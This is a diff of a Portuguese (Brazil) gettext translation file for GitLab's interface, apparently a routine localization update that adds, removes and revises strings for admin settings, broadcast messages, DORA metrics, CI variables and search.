@@ -2203,6 +2209,9 @@ msgstr "Adicionar uma lista de verificação"
msgid "Add a collapsible section"
msgstr "Adicionar uma seção resolvível"
+msgid "Add a comment"
+msgstr "Adicionar um comentário"
+
msgid "Add a comment to this line"
msgstr "Adicionar um comentário a esta linha"
@@ -2581,15 +2590,18 @@ msgstr "Usuários ativos"
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr "Todos os usuários criados na instância, incluindo usuários que não foram %{billable_users_link_start}usuários faturáveis%{billable_users_link_end}."
-msgid "AdminArea|Billable users"
-msgstr "Usuários passíveis de cobrança"
-
msgid "AdminArea|Blocked users"
msgstr "Usuários bloqueados"
msgid "AdminArea|Bots"
msgstr "Bots"
+msgid "AdminArea|Breakdown of Billable users"
+msgstr "Discriminação de usuários faturáveis"
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr "Discriminação de usuários não faturáveis"
+
msgid "AdminArea|Components"
msgstr "Componentes"
@@ -2671,9 +2683,18 @@ msgstr "Parar tarefas"
msgid "AdminArea|Stopping jobs failed"
msgstr "Erro ao parar tarefas"
+msgid "AdminArea|Total Billable users"
+msgstr "Total de usuários faturáveis"
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr "Total de usuários não faturáveis"
+
msgid "AdminArea|Total users"
msgstr "Usuários totais"
+msgid "AdminArea|Totals"
+msgstr "Totais"
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr "Usuários recentes"
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr "Você parará todas as tarefas. Os processos em execução serão abruptamente interrompidos."
+msgid "AdminArea|active users + blocked users"
+msgstr "usuários ativos + usuários bloqueados"
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr "total faturável + total não faturável"
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "Erro ao carregar as estatísticas. Por favor, tente novamente"
@@ -2755,6 +2782,9 @@ msgstr "Todos os novos projetos podem usar os executores compartilhados da instÃ
msgid "AdminSettings|Auto DevOps domain"
msgstr "Domínio de Auto DevOps"
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr "Por padrão, defina um limite para 0 para não haver limite."
+
msgid "AdminSettings|CI/CD limits"
msgstr "Limites de CI/CD"
@@ -2824,6 +2854,9 @@ msgstr "Ativar analisador personalizado de kuromoji: indexação"
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr "Ativar analisador personalizado de kuromoji: Pesquisa"
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr "Ativar a migração de grupos e projetos do GitLab por transferência direta"
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr "Ativar banner de sugestão de pipeline"
@@ -2911,6 +2944,9 @@ msgstr "Número máximo de pipelines ativos por projeto"
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr "Número máximo de domínios personalizados por projeto"
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr "Número máximo de tarefas em um único pipeline"
@@ -2998,9 +3034,6 @@ msgstr "Duração da sessão para operações do Git quando 2FA está ativado (m
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr "Defina um modelo de CI/CD como a configuração de pipeline necessária para todos os projetos na instância. A configuração de CI/CD do projeto mescla-se com a configuração de pipeline necessária quando o pipeline é executado. %{link_start}O que é uma configuração de pipeline necessária?%{link_end}"
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr "Defina o limite como 0 para desativá-lo."
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr "Defina o tempo de expiração dos tokens de autenticação de executores de grupo recém-registrados."
@@ -3046,6 +3079,9 @@ msgstr "O modelo para a configuração de pipeline necessária pode ser um dos m
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr "Há migrações de pesquisa avançada pendentes que exigem que a indexação seja pausada. A indexação deve permanecer pausada até que o GitLab conclua as migrações."
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr "Este limite não pode ser desabilitado. Defina como 0 para bloquear todas as dependências do DAG."
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr "Para ativar os recursos de registro, primeiro habilite o serviço de Ping."
@@ -3292,8 +3328,8 @@ msgstr "Informações importantes sobre o uso em sua instância do GitLab"
msgid "AdminUsers|Is using seat"
msgstr "Está usando acento"
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
-msgstr "As issues criadas por este usuário são ocultadas de outros usuários."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
+msgstr "Iissues e solicitações de mesclagem criadas por este usuário estão ocultas de outros usuários."
msgid "AdminUsers|It's you!"
msgstr "É você!"
@@ -3337,6 +3373,9 @@ msgstr "Projetos pessoais serão excluídos"
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr "Projetos pessoais, histórico de usuários e de grupos permanecerão intactos"
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr "Cota de CI/CD minutos"
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr "Depois que a exportação for concluída, baixe o arquivo de dados do e-mail de notificação ou desta página. Você pode então importar o arquivo de dados na página %{strong_text_start}Criar novo grupo%{strong_text_end} de outra instância do GitLab."
@@ -4034,7 +4076,7 @@ msgid "All users with matching cards"
msgstr ""
msgid "Allow %{strongOpen}%{group_name}%{strongClose} to sign you in?"
-msgstr ""
+msgstr "Permitir que %{strongOpen}%{group_name}%{strongClose} conecte você?"
msgid "Allow access to members of the following group"
msgstr "Permitir o acesoaos membros do seguinte grupo"
@@ -4237,9 +4279,6 @@ msgstr "Ocorreu um erro ao adicionar o título formatado para épico"
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr "Ocorreu um erro ao autorizar sua função"
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr "Ocorreu um erro ao verificar o diretório do grupo. Atualize e tente novamente."
@@ -4408,15 +4447,6 @@ msgstr "Ocorreu um erro ao carregar as solicitações de mesclagem"
msgid "An error occurred while loading projects."
msgstr "Um erro ocorreu durante o carregamento de projetos."
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr "Ocorreu um erro ao carregar a solicitação de mesclagem."
msgid "An error occurred while loading the notification settings. Please try again."
msgstr "Ocorreu um erro ao carregar as configurações de notificação. Por favor, tente novamente."
-msgid "An error occurred while loading the pipeline."
-msgstr "Ocorreu um erro ao carregar o pipeline."
-
msgid "An error occurred while loading the pipelines jobs."
msgstr "Ocorreu um erro ao carregar as tarefas de pipelines."
@@ -4704,6 +4731,18 @@ msgstr "Anexar o comentário com %{shrug}"
msgid "Append the comment with %{tableflip}"
msgstr "Anexar o comentário com %{tableflip}"
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr "Aplicativo"
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr "Enviar e-mail de confirmação no cadastro"
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr "Cadastro ativado"
@@ -4938,6 +4974,9 @@ msgstr "Aplicando sugestão..."
msgid "Applying suggestions..."
msgstr "Aplicando sugestões..."
+msgid "Approval options"
+msgstr "Opções de aprovação"
+
msgid "Approval rules"
msgstr "Regra de aprovação"
@@ -5078,6 +5117,9 @@ msgstr "Quando um commit é adicionado:"
msgid "Approvals are optional."
msgstr "As aprovações são opcionais."
+msgid "Approvals required"
+msgstr "Aprovações necessárias"
+
msgid "Approvals|Section: %section"
msgstr "Seção: %s"
@@ -5225,7 +5267,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "Are you sure you want to leave the Web IDE? All unsaved changes will be lost."
-msgstr ""
+msgstr "Tem certeza de que deseja sair do IDE Web? Todas as alterações não salvas serão perdidas."
msgid "Are you sure you want to lock %{path}?"
msgstr "Tem certeza de que deseja bloquear %{path}?"
@@ -5629,6 +5671,9 @@ msgstr "Cancelar edição"
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr "Cabeçalhos HTTP personalizados (opcional)"
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr "Excluir %{link}"
@@ -5644,12 +5689,18 @@ msgstr "Destinatário recebeu todos os dados do eventos de auditoria"
msgid "AuditStreams|Edit %{link}"
msgstr "Editar %{link}"
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr "Cabeçalho"
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr "Remover cabeçalho personalizado"
@@ -6910,7 +6961,7 @@ msgid "Branch changed"
msgstr ""
msgid "Branch defaults"
-msgstr ""
+msgstr "Ramificação padrão "
msgid "Branch has been updated since the merge was requested."
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr "Transmissão de messagem foi atualizada com sucesso."
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr "Azul"
+
+msgid "BroadcastMessages|Dark"
+msgstr "Escuro"
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr "Verde"
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr "Claro"
+
+msgid "BroadcastMessages|Light Blue"
+msgstr "Azul claro"
+
+msgid "BroadcastMessages|Light Green"
+msgstr "Verde claro"
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr "Vermelho claro"
+
+msgid "BroadcastMessages|Message"
+msgstr "Mensagem"
+
+msgid "BroadcastMessages|Notification"
+msgstr "Notificação"
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr "Vermelho"
+
+msgid "BroadcastMessages|Starts at"
+msgstr "Começa em"
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr "Tema"
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr "Tipo"
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr "Sua mensagem aqui"
+
msgid "Browse Directory"
msgstr "Navegar no Diretório"
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr "Não é possível promover a issue devido a permissões insuficientes."
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr "Não é possível se referir a um marco de grupo por um Id interno!"
@@ -7931,14 +8069,11 @@ msgstr "Altere sua senha"
msgid "Change your password or recover your current one"
msgstr "Altere sua senha ou recupere sua senha atual"
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr "O revisor foi alterado de %{old} para %{new}"
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
-msgstr "O revisor foi alterado para %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
+msgstr ""
-msgid "ChangeReviewer|Unassigned"
-msgstr "Não atribuído"
+msgid "ChangeReviewer|All reviewers were removed."
+msgstr "Todos os revisores foram removidos."
msgid "ChangeTypeAction|Cherry-pick"
msgstr "Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr "Continuar para o pagamento"
msgid "Checkout|Country"
msgstr "País"
+msgid "Checkout|Coupon code (optional)"
+msgstr "Código do cupom (opcional)"
+
msgid "Checkout|Create a new group"
msgstr "Criar um novo grupo"
@@ -8379,12 +8517,6 @@ msgstr "Filho"
msgid "Child epic"
msgstr "Épico filho"
-msgid "Child epic does not exist."
-msgstr "O épico filho não existe."
-
-msgid "Child epic doesn't exist."
-msgstr "O épico filho não existe."
-
msgid "Child issues and epics"
msgstr ""
@@ -8539,7 +8671,7 @@ msgid "CiVariables|Masked"
msgstr "Mascarada"
msgid "CiVariables|Maximum number of variables reached."
-msgstr ""
+msgstr "Número máximo de variáveis atingido."
msgid "CiVariables|Options"
msgstr "Opções"
@@ -8566,6 +8698,9 @@ msgid "CiVariables|State"
msgstr "Estado"
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
+msgstr "Este %{entity} tem %{currentVariableCount} variáveis de CI/CD definidas. O número máximo de variáveis por %{entity} é %{maxVariableLimit}. Para adicionar novas variáveis, você deve reduzir o número de variáveis definidas."
+
+msgid "CiVariables|Trigger this manual action"
msgstr ""
msgid "CiVariables|Type"
@@ -8578,7 +8713,7 @@ msgid "CiVariables|Variables"
msgstr "Variáveis"
msgid "CiVariables|Variables store information, like passwords and secret keys, that you can use in job scripts. Each %{entity} can define a maximum of %{limit} variables."
-msgstr ""
+msgstr "Variáveis armazenam informações, como senhas e chaves secretas, que você pode usar em scripts de tarefa. Cada %{entity} pode definir no máximo %{limit} variável."
msgid "CiVariables|You have reached the maximum number of variables available. To add new variables, you must reduce the number of defined variables."
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr "Clique para expandir"
+
msgid "Click to expand it."
msgstr "Clique para expandir."
@@ -8795,12 +8933,18 @@ msgstr "Issues fechadas"
msgid "Closed this %{quick_action_target}."
msgstr "Fechado este %{quick_action_target}."
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr "Fechado: %{closed}"
msgid "Closes this %{quick_action_target}."
msgstr "Fecha este %{quick_action_target}."
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr "Cloud Run"
@@ -9466,21 +9610,6 @@ msgstr "Escopo de ambiente é necessário."
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr "Cada nova conta no Google Cloud Plataform (GCP) recebe US$300 em créditos por se %{sign_up_link}. Em parceria com o Google, o GitLab pode oferecer um adicional de US$200 para novas contas do GCP para começar a usar a integração GKE do GitLab."
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr "Falha ao configurar o provedor EKS: %{message}"
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr "Falha ao configurar o Google Kubernetes Engine Cluster: %{message}"
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr "Falha ao requisitar ao Google Cloud Platform: %{message}"
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr "Falha ao executar Kubeclient: %{message}"
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "Integração GitLab"
@@ -9969,6 +10098,9 @@ msgstr "Nenhuma solicitação de mesclagem relacionada foi encontrada"
msgid "Committed by"
msgstr "Commit feito por"
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr "Fórum da comunidade"
@@ -10860,6 +10992,9 @@ msgstr "Continuar editando"
msgid "Continue to the next step"
msgstr "Continuar para a próxima etapa"
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr "Integração contínua e Implantação"
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr "País"
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr "não permitido para o determinado evento de início"
msgid "CycleAnalytics|project dropdown filter"
msgstr "filtro de seleção de projeto"
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr "%{startDate} - %{endDate}"
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr "Taxa de falha de mudança"
@@ -12185,7 +12329,10 @@ msgstr "Taxa de falha de mudança (porcentagem)"
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr "Frequência de implantação"
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr "Tempo médio em que um incidente foi aberto em um ambiente de produção durante o período de tempo determinado."
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr "Número de implantações"
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr "Número de incidentes dividido pelo número de implantações em um ambiente de produção no período de tempo determinado."
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr "Porcentagem de implantações com falha"
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr "O gráfico exibe a mediana de tempo entre uma solicitação de mesclagem sendo realizada e implantada no(s) ambient(s) de produção baseados no valor %{linkStart}deployment_tier%{linkEnd} ."
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr "Tempo para restaurar o serviço"
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr "Tempo para restaurar o serviço (mediana dos dias)"
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr "Todos"
msgid "DashboardProjects|Personal"
msgstr "Pessoal"
-msgid "DashboardProjects|Trending"
-msgstr "Tendências"
-
msgid "Dashboards"
msgstr "Painéis"
@@ -13109,7 +13283,7 @@ msgid "Delete source branch"
msgstr "Excluir ramificação de origem"
msgid "Delete source branch when merge request is accepted."
-msgstr ""
+msgstr "Excluir a ramificação de origem quando a solicitação de mesclagem for aceita."
msgid "Delete subscription"
msgstr "Excluir assinatura"
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr "Nome do componente"
msgid "Dependencies|Dependency path"
msgstr "Caminho da dependência"
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr "Exportar como JSON"
@@ -13660,9 +13836,15 @@ msgstr "Destino da implantação do projeto (opcional)"
msgid "Deployment Target|Select the deployment target"
msgstr "Selecione o alvo de implantação"
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr "Frequência de implantação"
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr "DeploymentApprovals|Permite que o acionador do pipeline aprove a implantação."
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr "Aprovações atuais: %{current}"
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] "%{deployments} ambiente impactado."
msgstr[1] "%{deployments} ambientes impactados."
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr "API"
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr "Adoção de DevOps"
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr "Diferença entre a data de início e agora"
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr "Teste de segurança de aplicativo dinâmico (DAST)"
msgid "E-mail:"
msgstr "E-mail:"
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr "Erro: %{error}"
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr "Expira"
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr "Expira em"
-
msgid "Expires:"
msgstr "Expira:"
@@ -16491,9 +16682,6 @@ msgstr "Explorar projetos públicos"
msgid "Explore snippets"
msgstr "Explorar snippets"
-msgid "Explore topics"
-msgstr "Explorar tópicos"
-
msgid "Export"
msgstr "Exportar"
@@ -16813,9 +17001,6 @@ msgstr "Falha ao mover esta issue porque apenas uma etiqueta pode ser fornecida.
msgid "Failed to move this issue because target project doesn't exist."
msgstr "Falha ao mover esta issue porque o projeto de destino não existe."
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr "Falha ao promover etiqueta devido a erro interno. Por favor, contate os administradores."
@@ -17241,9 +17426,6 @@ msgstr "Filtrar por"
msgid "Filter by %{page_context_word} that are currently open."
msgstr "Filtrar por %{page_context_word} que estão atualmente abertos."
-msgid "Filter by Git revision"
-msgstr "Filtrar pela revisão do Git"
-
msgid "Filter by issues that are currently closed."
msgstr "Filtrar por issues que estão atualmente fechadas."
@@ -17562,18 +17744,15 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
+msgid "ForksDivergence|Fork has diverged from upstream repository"
+msgstr ""
+
msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
msgid "Format: %{dateFormat}"
msgstr "Formato: %{dateFormat}"
-msgid "Found errors in your %{gitlab_ci_yml}:"
-msgstr "Erros encontrados em seu %{gitlab_ci_yml}:"
-
-msgid "Found errors in your .gitlab-ci.yml:"
-msgstr "Erros encontrados em seu .gitlab-ci.yml:"
-
msgid "Framework successfully deleted"
msgstr ""
@@ -17669,6 +17848,9 @@ msgstr "ID da chave GPG:"
msgid "GPG Keys"
msgstr "Chaves GPG"
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr "Chaves GPG permitem que você verifique commits assinados."
@@ -18327,9 +18509,6 @@ msgstr "Introdução às versões"
msgid "Git"
msgstr "Git"
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr "A pesquisa global está desativada para este escopo"
msgid "Global Shortcuts"
msgstr "Atalhos Globais"
+msgid "Global notification email"
+msgstr "E-mail de notificação global"
+
msgid "Global notification level"
msgstr "Nível de notificação global"
@@ -18755,6 +18937,12 @@ msgstr "%{search} %{description} %{scope}"
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr "Fechar"
+
+msgid "GlobalSearch|Group"
+msgstr "Grupo"
+
msgid "GlobalSearch|Groups"
msgstr "Grupos"
@@ -18779,6 +18967,9 @@ msgstr "Solicitações de mesclagem atribuídas a mim"
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr "Solicitações de mesclagem que eu seja um revisor"
+msgid "GlobalSearch|Project"
+msgstr "Projeto"
+
msgid "GlobalSearch|Projects"
msgstr "Projetos"
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr "Pesquisa"
+
msgid "GlobalSearch|Search GitLab"
msgstr "Pesquisar no GitLab"
@@ -18809,9 +19003,15 @@ msgstr "Os resultados da pesquisa estão sendo carregados"
msgid "GlobalSearch|Settings"
msgstr "Configurações"
+msgid "GlobalSearch|Syntax options"
+msgstr "Opções de sintaxe"
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr "Digite e pressione a tecla Enter para enviar a pesquisa."
@@ -18822,7 +19022,7 @@ msgid "GlobalSearch|Use the shortcut key %{kbdOpen}/%{kbdClose} to start a searc
msgstr "Use a tecla de atalho %{kbdOpen}/%{kbdClose} para iniciar uma pesquisa"
msgid "GlobalSearch|Users"
-msgstr ""
+msgstr "Usuários"
msgid "GlobalSearch|What are you searching for?"
msgstr "O que você está procurando?"
@@ -19136,6 +19336,12 @@ msgstr "O grupo %{group_name} foi agendado para exclusão."
msgid "Group %{group_name} was successfully created."
msgstr "O grupo %{group_name} foi criado com sucesso."
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr "Tokens de acesso de grupo"
@@ -19298,8 +19504,8 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr "Atividade recente"
-msgid "GroupImport|Failed to import group."
-msgstr "Falha ao importar o grupo."
+msgid "GroupImport|Failed to import group: %{error}"
+msgstr "Falha ao importar o grupo: %{error}"
